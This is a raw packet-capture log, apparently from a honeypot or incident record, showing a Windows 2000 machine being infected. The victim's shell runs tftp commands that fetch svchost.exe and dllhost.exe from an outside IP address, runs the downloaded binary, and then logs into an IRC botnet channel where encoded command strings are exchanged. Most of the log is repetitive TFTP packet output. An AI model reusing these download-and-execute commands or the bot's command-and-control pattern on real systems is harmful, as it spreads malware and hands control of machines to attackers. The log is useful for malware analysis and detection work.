VICTIM: Microsoft Windows 2000 [Version 5.00.2195] VICTIM: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> VICTIM: dir wins\\dllhost.exe VICTIM: Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\winsFile Not FoundC:\\WINNT\\system32> VICTIM: dir dllcache\\tftpd.exe VICTIM: Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\dllcacheFile Not FoundC:\\WINNT\\system32> VICTIM: tftp -i 173.171.127.162 get svchost.exe wins\\SVCHOST.EXE VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: \000\004\0006 VICTIM: \000\004\0007 VICTIM: \000\004\0008 VICTIM: \000\004\0009 VICTIM: \000\004\000: VICTIM: \000\004\000; VICTIM: \000\004\000< VICTIM: \000\004\000= VICTIM: \000\004\000> VICTIM: \000\004\000? VICTIM: \000\004\000@ VICTIM: \000\004\000A VICTIM: \000\004\000B VICTIM: \000\004\000C VICTIM: \000\004\000D VICTIM: \000\004\000E VICTIM: \000\004\000F VICTIM: \000\004\000G VICTIM: \000\004\000H VICTIM: \000\004\000I VICTIM: \000\004\000J VICTIM: \000\004\000K VICTIM: \000\004\000L VICTIM: \000\004\000M VICTIM: \000\004\000N VICTIM: \000\004\000O VICTIM: \000\004\000P VICTIM: \000\004\000Q VICTIM: \000\004\000R VICTIM: \000\004\000S VICTIM: \000\004\000T VICTIM: \000\004\000U VICTIM: \000\004\000V VICTIM: \000\004\000W VICTIM: \000\004\000X VICTIM: \000\004\000Y VICTIM: \000\004\000Z VICTIM: \000\004\000[ VICTIM: \000\004\000\\ VICTIM: \000\004\000] VICTIM: \000\004\000^ VICTIM: \000\004\000_ VICTIM: \000\004\000` VICTIM: \000\004\000a VICTIM: \000\004\000b VICTIM: \000\004\000c VICTIM: \000\004\000d VICTIM: \000\004\000e VICTIM: \000\004\000f VICTIM: \000\004\000g VICTIM: \000\004\000h VICTIM: \000\004\000i VICTIM: \000\004\000j VICTIM: \000\004\000k VICTIM: \000\004\000l VICTIM: \000\004\000m VICTIM: \000\004\000n VICTIM: \000\004\000o VICTIM: \000\004\000p VICTIM: \000\004\000q VICTIM: \000\004\000r VICTIM: \000\004\000s VICTIM: \000\004\000t VICTIM: \000\004\000u VICTIM: \000\004\000v VICTIM: \000\004\000w VICTIM: \000\004\000x VICTIM: \000\004\000y VICTIM: \000\004\000z VICTIM: \000\004\000{ VICTIM: \000\004\000| VICTIM: \000\004\000} VICTIM: \000\004\000~ VICTIM: \000\004\000\177 VICTIM: \000\004\000\200 VICTIM: \000\004\000\201 VICTIM: \000\004\000\202 VICTIM: \000\004\000\203 VICTIM: \000\004\000\204 VICTIM: \000\004\000\205 VICTIM: \000\004\000\206 VICTIM: \000\004\000\207 VICTIM: \000\004\000\210 VICTIM: \000\004\000\211 VICTIM: \000\004\000\212 VICTIM: \000\004\000\213 VICTIM: \000\004\000\214 VICTIM: \000\004\000\215 VICTIM: \000\004\000\216 VICTIM: \000\004\000\217 VICTIM: \000\004\000\220 VICTIM: \000\004\000\221 VICTIM: \000\004\000\222 VICTIM: \000\004\000\223 VICTIM: \000\004\000\224 VICTIM: \000\004\000\225 VICTIM: \000\004\000\226 VICTIM: \000\004\000\227 VICTIM: \000\004\000\230 VICTIM: \000\004\000\231 VICTIM: \000\004\000\232 VICTIM: \000\004\000\233 VICTIM: \000\004\000\234 VICTIM: \000\004\000\235 VICTIM: \000\004\000\236 VICTIM: \000\004\000\237 VICTIM: \000\004\000\240 VICTIM: \000\004\000\241 VICTIM: \000\004\000\242 VICTIM: \000\004\000\243 VICTIM: \000\004\000\244 VICTIM: \000\004\000\245 VICTIM: \000\004\000\246 VICTIM: \000\004\000\247 VICTIM: \000\004\000\250 VICTIM: \000\004\000\251 VICTIM: \000\004\000\252 VICTIM: \000\004\000\253 VICTIM: \000\004\000\254 VICTIM: \000\004\000\255 VICTIM: \000\004\000\256 VICTIM: \000\004\000\257 VICTIM: \000\004\000\260 VICTIM: \000\004\000\261 VICTIM: \000\004\000\262 VICTIM: \000\004\000\263 VICTIM: \000\004\000\264 VICTIM: \000\004\000\265 VICTIM: \000\004\000\266 VICTIM: \000\004\000\267 VICTIM: \000\004\000\270 VICTIM: \000\004\000\271 VICTIM: \000\004\000\272 VICTIM: \000\004\000\273 VICTIM: \000\004\000\274 VICTIM: \000\004\000\275 VICTIM: \000\004\000\276 VICTIM: \000\004\000\277 VICTIM: \000\004\000\300 VICTIM: \000\004\000\301 VICTIM: \000\004\000\302 VICTIM: \000\004\000\303 VICTIM: \000\004\000\304 VICTIM: \000\004\000\305 VICTIM: \000\004\000\306 VICTIM: \000\004\000\307 VICTIM: \000\004\000\310 VICTIM: \000\004\000\311 VICTIM: \000\004\000\312 VICTIM: \000\004\000\313 VICTIM: \000\004\000\314 VICTIM: \000\004\000\315 VICTIM: \000\004\000\316 VICTIM: \000\004\000\317 VICTIM: \000\004\000\320 VICTIM: \000\004\000\321 VICTIM: \000\004\000\322 VICTIM: \000\004\000\323 VICTIM: \000\004\000\324 VICTIM: \000\004\000\325 VICTIM: \000\004\000\326 VICTIM: \000\004\000\327 VICTIM: \000\004\000\330 VICTIM: \000\004\000\331 VICTIM: \000\004\000\332 VICTIM: \000\004\000\333 VICTIM: \000\004\000\334 VICTIM: \000\004\000\335 VICTIM: \000\004\000\336 VICTIM: \000\004\000\337 VICTIM: \000\004\000\340 VICTIM: \000\004\000\341 VICTIM: \000\004\000\342 VICTIM: \000\004\000\343 VICTIM: \000\004\000\344 VICTIM: \000\004\000\345 VICTIM: \000\004\000\346 VICTIM: \000\004\000\347 VICTIM: \000\004\000\347 VICTIM: \000\004\000\350 VICTIM: \000\004\000\351 VICTIM: \000\004\000\352 VICTIM: \000\004\000\353 VICTIM: \000\004\000\354 VICTIM: \000\004\000\355 VICTIM: \000\004\000\356 VICTIM: \000\004\000\357 VICTIM: \000\004\000\360 VICTIM: \000\004\000\361 VICTIM: \000\004\000\362 VICTIM: \000\004\000\363 VICTIM: \000\004\000\364 VICTIM: \000\004\000\365 VICTIM: \000\004\000\366 VICTIM: \000\004\000\367 VICTIM: \000\004\000\370 VICTIM: \000\004\000\371 VICTIM: \000\004\000\372 VICTIM: \000\004\000\373 VICTIM: \000\004\000\374 VICTIM: \000\004\000\375 VICTIM: \000\004\000\376 VICTIM: \000\004\000\377 VICTIM: \000\004\001\000 VICTIM: \000\004\001\001 VICTIM: \000\004\001\002 VICTIM: \000\004\001\003 VICTIM: \000\004\001\004 VICTIM: \000\004\001\005 VICTIM: \000\004\001\006 VICTIM: \000\004\001\007 VICTIM: \000\004\001\010 VICTIM: \000\004\001\t VICTIM: \000\004\001 VICTIM: \000\004\001\013 VICTIM: \000\004\001\014 VICTIM: \000\004\001 VICTIM: \000\004\001\016 VICTIM: \000\004\001\017 VICTIM: \000\004\001\020 VICTIM: \000\004\001\021 VICTIM: \000\004\001\022 VICTIM: \000\004\001\023 VICTIM: \000\004\001\024 VICTIM: \000\004\001\025 VICTIM: Transfer successful: 141454 bytes in 26 seconds, 5440 bytes/s VICTIM: C:\\WINNT\\system32> VICTIM: \000\001dllhost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: tftp -i 173.171.127.162 get dllhost.exe wins\\DLLHOST.EXE VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: \000\004\0006 VICTIM: \000\004\0007 VICTIM: \000\004\0008 VICTIM: \000\004\0009 VICTIM: \000\004\000: VICTIM: \000\004\000; VICTIM: \000\004\000< VICTIM: \000\004\000= VICTIM: \000\004\000> VICTIM: \000\004\000? VICTIM: \000\004\000@ VICTIM: \000\004\000A VICTIM: \000\004\000B VICTIM: \000\004\000C VICTIM: \000\004\000D VICTIM: \000\004\000E VICTIM: \000\004\000F VICTIM: \000\004\000G VICTIM: \000\004\000H VICTIM: \000\004\000I VICTIM: \000\004\000J VICTIM: \000\004\000K VICTIM: \000\004\000L VICTIM: \000\004\000M VICTIM: \000\004\000N VICTIM: \000\004\000O VICTIM: \000\004\000P VICTIM: \000\004\000Q VICTIM: \000\004\000R VICTIM: \000\004\000S VICTIM: \000\004\000T VICTIM: \000\004\000U VICTIM: \000\004\000V VICTIM: \000\004\000W VICTIM: \000\004\000X VICTIM: \000\004\000Y VICTIM: \000\004\000Z VICTIM: \000\004\000[ VICTIM: \000\004\000\\ VICTIM: \000\004\000] VICTIM: \000\004\000^ VICTIM: \000\004\000_ VICTIM: \000\004\000` VICTIM: \000\004\000a VICTIM: \000\004\000b VICTIM: \000\004\000c VICTIM: \000\004\000d VICTIM: \000\004\000e VICTIM: \000\004\000f VICTIM: \000\004\000g VICTIM: \000\004\000h VICTIM: \000\004\000i VICTIM: \000\004\000j VICTIM: \000\004\000k VICTIM: \000\004\000l VICTIM: \000\004\000m VICTIM: \000\004\000n VICTIM: \000\004\000n VICTIM: \000\004\000o VICTIM: \000\004\000p VICTIM: \000\004\000q VICTIM: \000\004\000r VICTIM: \000\004\000s VICTIM: \000\004\000t VICTIM: \000\004\000u VICTIM: \000\004\000v VICTIM: \000\004\000w VICTIM: \000\004\000x VICTIM: \000\004\000y VICTIM: \000\004\000z VICTIM: \000\004\000{ VICTIM: \000\004\000| VICTIM: \000\004\000} VICTIM: \000\004\000~ VICTIM: \000\004\000\177 VICTIM: \000\004\000\200 VICTIM: \000\004\000\201 VICTIM: \000\004\000\202 VICTIM: \000\004\000\203 VICTIM: \000\004\000\204 VICTIM: \000\004\000\205 VICTIM: \000\004\000\206 VICTIM: \000\004\000\207 VICTIM: \000\004\000\210 VICTIM: \000\004\000\211 VICTIM: \000\004\000\212 VICTIM: \000\004\000\213 VICTIM: \000\004\000\214 VICTIM: \000\004\000\215 VICTIM: \000\004\000\216 VICTIM: \000\004\000\217 VICTIM: \000\004\000\220 VICTIM: \000\004\000\221 VICTIM: \000\004\000\222 VICTIM: \000\004\000\223 VICTIM: \000\004\000\224 VICTIM: \000\004\000\225 VICTIM: \000\004\000\226 VICTIM: \000\004\000\227 VICTIM: \000\004\000\230 VICTIM: \000\004\000\231 VICTIM: \000\004\000\232 VICTIM: \000\004\000\233 VICTIM: \000\004\000\234 VICTIM: \000\004\000\235 VICTIM: \000\004\000\236 VICTIM: \000\004\000\237 VICTIM: \000\004\000\240 VICTIM: \000\004\000\241 VICTIM: \000\004\000\242 VICTIM: \000\004\000\243 VICTIM: \000\004\000\244 VICTIM: \000\004\000\245 VICTIM: \000\004\000\246 VICTIM: \000\004\000\247 VICTIM: \000\004\000\250 VICTIM: \000\004\000\251 VICTIM: \000\004\000\252 VICTIM: \000\004\000\253 VICTIM: \000\004\000\254 VICTIM: \000\004\000\255 VICTIM: \000\004\000\256 VICTIM: \000\004\000\257 VICTIM: \000\004\000\260 VICTIM: \000\004\000\261 VICTIM: \000\004\000\262 VICTIM: \000\004\000\263 VICTIM: \000\004\000\264 VICTIM: \000\004\000\265 VICTIM: \000\004\000\266 VICTIM: \000\004\000\267 VICTIM: \000\004\000\270 VICTIM: \000\004\000\271 VICTIM: \000\004\000\272 VICTIM: \000\004\000\273 VICTIM: \000\004\000\274 VICTIM: \000\004\000\275 VICTIM: \000\004\000\276 VICTIM: \000\004\000\277 VICTIM: \000\004\000\300 VICTIM: \000\004\000\301 VICTIM: \000\004\000\302 VICTIM: \000\004\000\303 VICTIM: \000\004\000\304 VICTIM: \000\004\000\305 VICTIM: \000\004\000\306 VICTIM: \000\004\000\307 VICTIM: \000\004\000\310 VICTIM: \000\004\000\311 VICTIM: \000\004\000\312 VICTIM: \000\004\000\313 VICTIM: \000\004\000\314 VICTIM: \000\004\000\315 VICTIM: \000\004\000\316 VICTIM: \000\004\000\317 VICTIM: \000\004\000\320 VICTIM: \000\004\000\321 VICTIM: \000\004\000\322 VICTIM: \000\004\000\323 VICTIM: \000\004\000\324 VICTIM: \000\004\000\325 VICTIM: \000\004\000\326 VICTIM: \000\004\000\327 VICTIM: \000\004\000\330 VICTIM: \000\004\000\331 VICTIM: \000\004\000\332 VICTIM: \000\004\000\333 VICTIM: \000\004\000\334 VICTIM: \000\004\000\335 VICTIM: \000\004\000\336 VICTIM: \000\004\000\337 VICTIM: \000\004\000\340 VICTIM: \000\004\000\341 VICTIM: \000\004\000\342 VICTIM: \000\004\000\343 VICTIM: \000\004\000\344 VICTIM: \000\004\000\345 VICTIM: \000\004\000\346 VICTIM: \000\004\000\347 VICTIM: \000\004\000\350 VICTIM: \000\004\000\351 VICTIM: \000\004\000\352 VICTIM: \000\004\000\353 VICTIM: \000\004\000\354 VICTIM: \000\004\000\355 VICTIM: \000\004\000\356 VICTIM: \000\004\000\357 VICTIM: \000\004\000\360 VICTIM: \000\004\000\361 VICTIM: \000\004\000\362 VICTIM: \000\004\000\363 VICTIM: \000\004\000\364 VICTIM: \000\004\000\365 VICTIM: \000\004\000\366 VICTIM: \000\004\000\367 VICTIM: \000\004\000\370 VICTIM: \000\004\000\371 VICTIM: \000\004\000\372 VICTIM: \000\004\000\373 VICTIM: \000\004\000\374 VICTIM: \000\004\000\375 VICTIM: \000\004\000\376 VICTIM: \000\004\000\377 VICTIM: \000\004\001\000 VICTIM: \000\004\001\001 VICTIM: \000\004\001\002 VICTIM: \000\004\001\003 VICTIM: \000\004\001\004 VICTIM: \000\004\001\005 VICTIM: \000\004\001\006 VICTIM: \000\004\001\007 VICTIM: \000\004\001\010 VICTIM: \000\004\001\t VICTIM: \000\004\001 VICTIM: \000\004\001\013 VICTIM: \000\004\001\014 VICTIM: \000\004\001 VICTIM: \000\004\001\016 VICTIM: \000\004\001\017 VICTIM: \000\004\001\020 VICTIM: \000\004\001\021 VICTIM: \000\004\001\022 VICTIM: \000\004\001\023 VICTIM: \000\004\001\024 VICTIM: \000\004\001\025 VICTIM: Transfer successful: 141454 bytes in 26 seconds, 5440 bytes/s VICTIM: C:\\WINNT\\system32> VICTIM: wins\\DLLHOST.EXE VICTIM: C:\\WINNT\\system32> VICTIM: PASS secretpass VICTIM: NICK P|ai8at9drmUSER cxuucgevx * 0 :USA|2K|801 ATTACKER: :hub.2702.net 001 P|ai8at9drm :P|ai8at9drm!cxuucgevx@192.168.1.165:hub.2702.net 1 P|ai8at9drm :Login: :hub.2702.net 376 P|ai8at9drm : VICTIM: USERHOST P|ai8at9drm ATTACKER: :hub.2702.net 302 P|ai8at9drm :P|ai8at9drm=+cxuucgevx@192.168.1.165 VICTIM: USERHOST P|ai8at9drmMODE P|ai8at9drm JOIN #mm RSA ATTACKER: :hub.2702.net 302 P|ai8at9drm :P|ai8at9drm=+cxuucgevx@192.168.1.165 :hub.2702.net 221 P|ai8at9drm +:P|ai8at9drm!cxuucgevx@192.168.1.165 JOIN :#mm:hub.2702.net 332 P|ai8at9drm #mm :+iiLE8/rdnJS1Y32Vl.icZdS/6IIdG/IzRhU/kSotz0n075k/6hg3V.KThyT1f2pWg0VRdnB0XsN9a/mHHdW1W6qdt1MGTKz0t0KNa/sH0lN.g2rVw/Leo831kLOF.0M11cH/xzrSY/pfeEB/ VICTIM: PRIVMSG #mm :+Cpiwe/Bec9E07RQ/c0vtb4S/EdYX/xXUDj093Z0X0JV7.c0KmREB0O8uhI0LRefR1ZyBMf0vZEvo.KMXSW1c0M3m/Fwv310uA.y6/SUz0u/OGWL5.gwJqI.6pkc9.kty0t0KWEjq.nHZN20/qQ08.asyjW/qqA8J1QcT5G1